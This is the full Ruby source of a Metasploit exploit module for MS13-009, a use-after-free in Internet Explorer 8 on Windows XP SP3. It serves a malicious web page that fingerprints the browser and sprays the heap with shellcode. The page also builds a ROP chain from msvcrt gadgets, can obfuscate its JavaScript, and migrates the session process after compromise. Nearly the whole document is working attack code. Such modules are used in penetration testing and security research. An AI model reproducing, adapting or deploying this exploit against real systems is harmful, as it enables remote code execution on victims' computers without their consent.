MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",  
'Description' => %q{  
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer  
where a CParaElement node is released but a reference is still kept  
in CDoc. This memory is reused when a CDoc relayout is performed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Scott Bell <[email protected]>' # Vulnerability discovery & Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-0025' ],  
[ 'MSB', 'MS13-009' ],  
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'Space' => 920,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 13 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  
js = %Q|  
  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# ROP chain generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
rop_nops = [0x77c39f92].pack("V") * 11 # RETN  
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})  
rop_payload << rop_nops  
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN  
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN  
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN  
rop_payload << [0x77c39f92].pack("V") # RETN  
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset  
rop_payload << code  
end  
  
return rop_payload  
end  
  
def get_exploit(my_target, cli)  
p = get_payload(my_target, cli)  
js = heap_spray(my_target, p)  
  
html = %Q|  
<!doctype html>  
<html>  
<head>  
<script>  
#{js}  
</script>  
<script>  
var data;  
var objArray = new Array(1150);  
  
setTimeout(function(){  
document.body.style.whiteSpace = "pre-line";  
  
CollectGarbage();  
  
for (var i=0;i<1150;i++){  
objArray[i] = document.createElement('div');  
objArray[i].className = data += unescape("%u0c0c%u0c0c");  
}  
  
setTimeout(function(){document.body.innerHTML = "boo"}, 100)  
}, 100)  
  
</script>  
</head>  
<body>  
<p> </p>  
</body>  
</html>  
|  
  
return html  
end  
  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = get_exploit(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status "Sending HTML..."  
send_response(cli, html, {'Content-Type'=>'text/html'})  
  
end  
  
end  
  
`